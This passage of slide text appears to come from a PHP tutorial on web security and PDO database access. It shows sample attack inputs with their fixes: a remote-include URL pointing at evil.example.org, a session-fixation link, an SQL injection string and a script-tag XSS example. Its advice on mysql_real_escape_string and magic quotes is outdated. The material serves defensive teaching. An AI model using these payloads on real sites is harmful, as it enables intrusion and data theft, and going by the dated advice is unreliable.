  • 315. Register Globals: Example<?phpinclude"$path/script.php"; ?> If you forget to initialise $path, and have register_globals enabled, the page can be requested with ?path=https%3A%2F%2Fp.rizon.top%3A443%2Fhttp%2Fevil.example.org%2F%3F in the query string in order to equate this example to the following:include'http://evil.example.org/?/script.php'; i.e. a malicious user can include any script in your code..
  • 316. Register Globals: SolutionBe aware that with register globals on, any user can inject a variable of any name into your PHP scripts.ALWAYS EXPLICITLY INITIALISE YOUR OWN VARIABLES!
  • 317. Spoofed Forms: Eh?Be aware that anybody can write their own forms and submit them to your PHP scripts. For example, using a select, checkbox or radio button form input does not guarantee that the data submitted will be one of your chosen options…
  • 318. Spoofed Forms: ExampleThe form written by a web developer to be submitted to a page:<form action="/process.php" method="POST"> <select name="colour"> <option value="red">red</option> <option value="green">green</option> <option value="blue">blue</option> </select> <input type="submit" /> </form> The user writes their own form to submit to the same page:<form action="http://example.org/process.php" method="POST"> <input type="text" name="colour" /> <input type="submit" /> </form>
  • 319. Spoofed Forms: SolutionUsers can submit whatever they like to your PHP page… and it will be accepted as long as it conforms to your rules.Make sure all your rules are checked by the PHP external data filter, don’t rely on a form to exert rules for you.. They can be changed!
  • 320. Session Fixation: Eh?Session attacks nearly always involve impersonation – the malicious user is trying to ‘steal’ someone else’s session on your site.The crucial bit of information to obtain is the session id, and session fixation is a technique of stealing this id.
  • 321. Session Fixation: Eh?1. The malicious user hosts a page with links to your site/emails around spam links to your site with a session id already set. … <a href=“http://example.com/index.php?PHPSESSID=1234” …
  • 322. Session Fixation: Eh?2. A client follows one of these links and is directed to your site, where they login.3. Now.. the malicious user knows the session id (he/she set it!), and can ‘hijack’ the session by browsing to your site using the same session id.4. Malicious user is now logged in as one of your legitimate clients. Ooops.
  • 323. Session Fixation: SolutionTo protect against this type of attack, first consider that hijacking a session is only really useful after the user has logged in or otherwise obtained a heightened level of privilege.If we regenerate the session identifier whenever there is any change in privilege level (for example, after verifying a username and password), we will have practically eliminated the risk of a successful session fixation attack.
  • 324. Session Fixation: Solutionsession_regenerate_id() Conveniently, PHP has a function that does all the work for you, and regenerates the session id. Regenerate the session id using this function before any change in privilege level.
  • 325. SQL Injection: Eh?The goal of SQL injection is to insert arbitrary data, most often a database query, into a string that’s eventually executed by the database.
  • 326. SQL Injection: ExampleConsider this query executed in PHP on a MYSQL db, where the email text has been submitted from the user:“SELECT * FROM members WHERE email = ‘{$_POST[‘email’]}’”
  • 327. SQL Injection: ExampleThe use of $_POST[..] in the query should immediately raise warning flags. Consider if a user submitted the following email: dummy’ OR ‘x’=‘xThe query now becomes,SELECT * FROM members WHERE email = ‘dummy’ OR ‘x’=‘x’ ..which will return the details of all members!
  • 328. SQL Injection: SolutionFilter input data.Quote your data. If your database allows it (MySQL does), put single quotes around all values in your SQL statements, regardless of the data type.Escape your data. For a MySQL db, use the function mysql_real_escape_string()
  • 329. Accessing CredentialsSometimes you need to store sensitive data on your server such as database passwords, usernames, etc. There are various options…
  • 330. Accessing CredentialsDon’t store passwords in an included file without a *.php extension but in a web accessible directory…!You can store in a *.php file under the root (i.e. web accessible). OK, but not great. If your PHP parse engine fails, this data will be on plain view to the entire world.Better, is to keep as much code as possible, including definition of passwords, in included files outside of the web accessible directories.With an Apache server, there are various techniques to include passwords and usernames as environment variables, accessed in PHP by the $_SERVER superglobal.worstbest
  • 331. Cross-Site Scripting (XSS)This is a good example of why you should always escape all output, even for xhtml…echo"<p>Welcome back, {$_GET['username']}.</p>";echo"<p>Welcome back, <script>...</script>.</p>";
  • 332. XXS: The SolutionAnd again..Filter input.Escape Output.Be especially careful if you are writing user input to a file, which is later included into your page.. Without checking, the user can then write their own PHP scripts for inclusion.
  • 333. The ‘magic’ of PHPRecent versions of PHP have gone some way to tightening security, and one of the newer things is ‘magic quotes’. If turned on, this automatically escapes quotation marks and backslashes in any incoming data.Although useful for beginners, it cannot be relied upon if you want to write portable code.http://docs.php.net/en/security.magicquotes.html
  • 334. The ‘magic’ of PHP: banished!To know where you are starting from, you can use the get_magic_quotes_gpc() function to tell if they are on or off.To start from a consistent point, use stripslashes() to remove any escape characters added by ‘magic quotes’. e.g.if (get_magic_quotes_gpc()) { $thing = stripslashes($_POST[‘thing’]); }
  • 335. Phew.. But don’t panic!Open Source PHP code needs to be rock solid in terms of security, as everyone can look through the code.In your bespoke solutions, malicious users will have to try to guess.. Much harder!
  • 336. ReviewFilter Input +Escape Output=Secure Code
  • 338. What is PDO? PDO is a PHP extension to formalise PHP's database connections by creating a uniform interface. This allows developers to create code which is portable across many databases and platforms.PDO is not just another abstraction layer like PEAR DB or ADOdb.
  • 339. Why use PDO? PortabilityPerformancePowerEasy Runtime Extensible
  • 340. What databases does it support?Microsoft SQL Server / Sybase Firebird / InterbaseDB2 / INFORMIX (IBM) MySQLOCI (Oracle Call Interface)ODBCPostgreSQL SQLite
  • 344. Connect to SQLite (memory)
  • 347. Close a Database Connection
  • 348. Persistent PDO ConnectionConnection stays alive between requests$dbh = new PDO($dsn, $user, $pass, array( PDO_ATTR_PERSISTENT => true ));